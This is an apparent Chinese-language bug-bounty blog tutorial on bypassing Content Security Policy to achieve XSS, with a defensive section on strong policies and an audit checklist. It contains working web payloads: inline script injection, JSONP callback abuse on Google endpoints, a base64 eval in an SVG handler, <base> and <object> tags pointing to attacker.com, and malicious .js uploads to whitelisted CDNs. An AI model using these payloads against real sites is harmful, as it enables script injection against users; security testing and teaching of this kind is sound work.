安全的幻象:为什么大多数 CSP 会失败

88 阅读5分钟

官网:http://securitytech.cc/

为什么那个“安全”头部可能漏洞百出,以及如何发现它们导致严重 XSS 漏洞。

你找到完美的 XSS 向量,精心构造了 payload,按下回车,结果……什么也没有。控制台闪烁红色错误信息:“拒绝执行内联脚本,因为它违反了以下内容安全策略(CSP)…”

游戏结束了吗?绝对不是。

对于漏洞猎人来说,这才是有趣的开始。错误信息不是一道墙——几乎像是一种邀请。CSP 只是浏览器遵循的一套规则。而规则?总有漏洞。

通常情况是:开发者加上一个基本 CSP,勾选安全审计的选项,然后安心地认为他们已经彻底阻止了 XSS。然而,我在实际项目中看到的大多数 CSP 就像潜水艇上的纱门一样不安全。

这是 CSP 绕过综合系列的第一部分。我们从基础开始——常见的错误配置和适用于 70–80% 漏洞悬赏项目 CSP 的基本技巧。这些都是低悬的果实,但仍然能获得高额奖励,因为许多开发者会犯错。

读完本指南,你将知道如何识别弱 CSP 配置,并将其转化为可利用的漏洞。


安全的幻象:为什么大多数 CSP 会失败

把 CSP 想象成夜店门口的保安。他的工作是检查 ID —— 确保只有获准的脚本、图片和样式表能进来。听起来不错,但问题是,大多数网站给保安的客人名单是世界上最糟糕的。

下面这些错误配置几乎等于告诉保安“通通放行”。


'unsafe-inline' 灾难

这是 CSP 错误的核选项。如果你在 script-src 指令中看到 'unsafe-inline',直接放弃——你已经赢了。它直接允许内联 <script> 块和事件处理函数(如 onclick)。基本上,它关闭了 CSP 应该做的核心功能。

弱策略:

Content-Security-Policy: script-src 'self' 'unsafe-inline';

绕过示例:

<script>
alert("CSP 绕过");
</script>

就这么简单。

实际影响: 我在从小型 SaaS 应用到大型电商平台都发现过这种错误配置。通常是开发者为了快速使内联脚本工作,选择了最简单的方式。我提交过一个相关漏洞,30 秒检查就获得了 2500 美元奖励。


过度信任的通配符(*)

信任整个域的策略随处可见。你会看到类似 script-src: *.google.com*.cloudflare.com 的配置。想法是:“是 Google,能出什么问题呢?”

结果,问题很多。这会允许任意 Google 子域的脚本执行,例如:

  • JSONP 接口:白名单域上的许多 API 有 JSONP 回调可被滥用执行任意 JavaScript。
    • 老旧 AngularJS 库:在白名单域上找到易受攻击的 AngularJS 版本,就能突破沙箱。
    • 文件上传:如果白名单域允许上传 .js 文件,你就成功了。

快速示例:

策略: script-src 'self' *.google.com 绕过:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

这是因为 Google OAuth 接口有一个 JSONP 回调参数会反射输入。JSONP 利用将在第二部分深入讲解。


Press enter or click to view image in full size

浏览器控制台显示 CSP 错误,同时可见弱策略。CSP 头部中突出显示 'unsafe-inline' 或通配域。


别忘了 'unsafe-eval'

这个更狡猾。'unsafe-eval' 允许 eval()setTimeout()setInterval() 执行字符串参数。许多旧库需要它来兼容,所以开发者为了兼容性加入它。这样,你又有了另一条进攻路径。

示例:

策略: script-src 'self' 'unsafe-eval' 绕过:
<svg><animate onbegin=eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))></svg>

base64 解码后为 alert(document.domain)。如果能注入 HTML 且策略包含 unsafe-eval,就可以执行代码。


我的 CSP 审计方法

面对 CSP,我不会放弃——我会系统化操作。每次我都会这么做:

第一步:仔细阅读策略

看似显而易见,但很多人忽略。看到 CSP 错误时,打开浏览器开发者工具。进入 Network 标签,点击文档请求,找到 Content-Security-Policy 头部。复制到文本编辑器。

查看每条指令,script-srcobject-srcbase-uri 都是主要攻击向量。

专业提示: 可使用 CSP Evaluator 快速发现明显问题,但不要止步——手动分析能发现有趣的绕过方法。


Press enter or click to view image in full size

Google 的 CSP Evaluator 工具截图,显示弱策略


第二步:寻找白名单宝藏

主要关注 script-src 指令。每个列出的域都是潜在的金矿。你的任务不是直接突破 CSP,而是让这些 可信域 服务你的恶意 JavaScript。

如果你发现 script-src: 'self' cdn.trusted-company.com,下一步就是针对 cdn.trusted-company.com

  • 查找可链式使用的 open redirect
    • 查找 JSONP 回调接口
    • 查找托管的旧版 JS 库
    • 查找可反射输入的位置

我的搜索流程:

  1. 列出所有白名单域
    1. 检查 JSONP 接口(常见路径如 /api//jsonp/callback
    1. 查找文件上传功能
    1. 搜索 open redirect
    1. 检查旧库版本(AngularJS <1.6, jQuery <3.0)

Press enter or click to view image in full size

CSP 绕过方法示意图


第三步:测试文件上传端点

经典且高效。如果应用允许从白名单域上传文件,CSP 会信任它。

流程:

  1. 找到文件上传功能
    1. 上传 .js 文件 payload
    1. 记录文件 URL
    1. 检查该域是否在 script-src 白名单
    1. 注入 <script src="https://whitelisted-domain.com/uploads/your-file.js"></script>

实际案例: 我曾发现一个应用的 script-src: 'self' cdn.example.com,CDN 实际是 S3 桶存储用户头像。我上传了伪装成图片的 JS 文件,得到直接 S3 URL 并加载为脚本。结果——$3,000 奖金。

文件上传界面示例,上传恶意 .js 文件


第四步:base-uri 漏洞

如果 CSP 缺失 base-uri 指令,你可以注入 <base> 标签重新定义页面相对路径的基址。

<script src="/js/app.js"></script>

注入:

<base href="https://attacker.com/" />

浏览器会尝试从你的域加载相对资源,绕过 script-src

测试方法:

检查 CSP 是否缺失 base-uri 2. 找到 HTML 注入点 3. 注入 <base href="https://your-server.com/"> 4. 页面会从你域加载相对资源


Press enter or click to view image in full size

注入前后效果对比


第五步:缺失的 object-src 指令

如果 object-src 未定义,你可以嵌入加载外部内容的对象。Flash 已经过时,但在某些情况下仍有效。

绕过示例:

<object data="https://attacker.com/malicious.swf"></object>

PDF-based XSS:

<embed src="https://attacker.com/xss.pdf" />

常见 JSONP 接口测试

找到白名单域后,优先检查 JSONP 回调:

Google 域:

https://accounts.google.com/o/oauth2/revoke?callback=alert
https://www.google.com/complete/search?client=chrome&q=a&jsonp=alert

其他常见 CDN:

https://cdnjs.cloudflare.com/ajax/libs/[library]/[version]/[file].js
https://ajax.googleapis.com/ajax/libs/angularjs/[version]/angular.js

测试流程:

  1. 替换回调参数为 payload
    1. 尝试不同参数:callback=jsonp=cb=function=
    1. 检查函数是否执行

JSONP 利用将在第二部分详细讲解,包括如何发现隐藏接口和漏洞链。


Press enter or click to view image in full size

成功的 JSONP 绕过


从破坏到坚固:好的 CSP 长什么样

谈完绕过,再说怎么构建。好的 CSP 默认锁死所有内容,只开放必要部分。

弱 CSP(容易绕过):

Content-Security-Policy: script-src 'self' *.google.com 'unsafe-inline';

强 CSP(难绕过):

Content-Security-Policy: default-src 'none'; script-src 'self' 'nonce-rAnd0m123' 'strict-dynamic'; object-src 'none'; base-uri 'self'; require-trusted-types-for 'script';

为什么第二个更好?

  • default-src 'none' 默认拒绝所有内容
    • 为特定内联脚本使用 nonce,消除 'unsafe-inline'
    • 'strict-dynamic' 允许受信脚本加载其他脚本,无需白名单
    • object-src 'none' 阻止 object/embed 攻击
    • base-uri 'self' 防止 base 标签劫持
    • require-trusted-types-for 'script' 启用 Trusted Types(第三部分讲解)

注意: 即便是强 CSP,也可能通过 nonce 泄露、DOM 劫持和 mutation XSS 绕过 —— 这是第二、三部分的内容。

“弱 CSP vs 强 CSP”


CSP 测试清单

在离开目标前,检查:

  • script-src 是否包含 'unsafe-inline'
  • - [ ] script-src 是否包含 'unsafe-eval'
  • - [ ] 是否存在通配符域?
  • - [ ] base-uri 是否缺失或为 *
  • - [ ] object-src 是否缺失或为 *
  • - [ ] 是否有白名单 CDN 或第三方域?
  • - [ ] 应用是否有文件上传功能?
  • - [ ] 是否能在白名单域找到 JSONP 接口?
  • - [ ] 是否有可反射的参数?
  • - [ ] 策略是否使用 nonce?(是的话,保存目标用于第二部分!)

真实世界绕过示例

几个漏洞赏金项目的实战案例:

示例 1:电商平台

  • 策略:script-src 'self' 'unsafe-inline' *.cloudflare.com
    • 绕过:简单内联脚本
    • 奖金:$2,500

示例 2:SaaS 应用

  • 策略:script-src 'self' cdn.example.com
    • 绕过:通过头像上传 .js 文件到 CDN
    • 奖金:$3,000

示例 3:金融服务

  • 策略:script-src 'self' *.google.com(无 base-uri
    • 绕过:注入 base 标签重定向脚本
    • 奖金:$5,000

示例 4:社交平台

  • 策略:script-src 'self' ajax.googleapis.com
    • 绕过:加载 AngularJS 1.5.8 沙箱逃逸 payload
    • 奖金:$4,500

这些都是基础技巧,但仍然有效,也仍然有奖金。


CSP 是拼图,而非监狱

CSP 头并不意味着“没有 XSS”,而是“XSS 需要额外步骤”。

下次测试应用遇到 CSP 错误,不要关掉标签页。保持好奇,逐行阅读策略,检查我们提到的错误配置。多数情况下,你会找到突破方法。

这只是开始。第一部分涵盖了基础知识——绝大多数绕过问题的常见错误。


第二部分预告: 深入中级技巧,针对更严格策略:

  • 高级 nonce 利用与泄露策略
    • AngularJS 沙箱逃逸深入
    • JSONP 接口发现与利用
    • 悬空标记注入进行数据泄露
    • Service Worker 滥用
    • $10k+ 漏洞报告中的真实绕过链

第三部分预告: 研究级技巧:

  • DOM 劫持绕过 CSP 检查
    • Mutation XSS (mXSS) 绕过 sanitizer
    • 原型污染导致 CSP 绕过
    • 无脚本攻击与代码复用
    • 浏览器特性与边缘案例

直到那时,祝你狩猎愉快。CSP 错误只是有趣旅程的开始。

公众号:安全狗的自我修养

vx:2207344074

Gitee:gitee.com/haidragon

GitHub:github.com/haidragon

Bilibili:haidragonx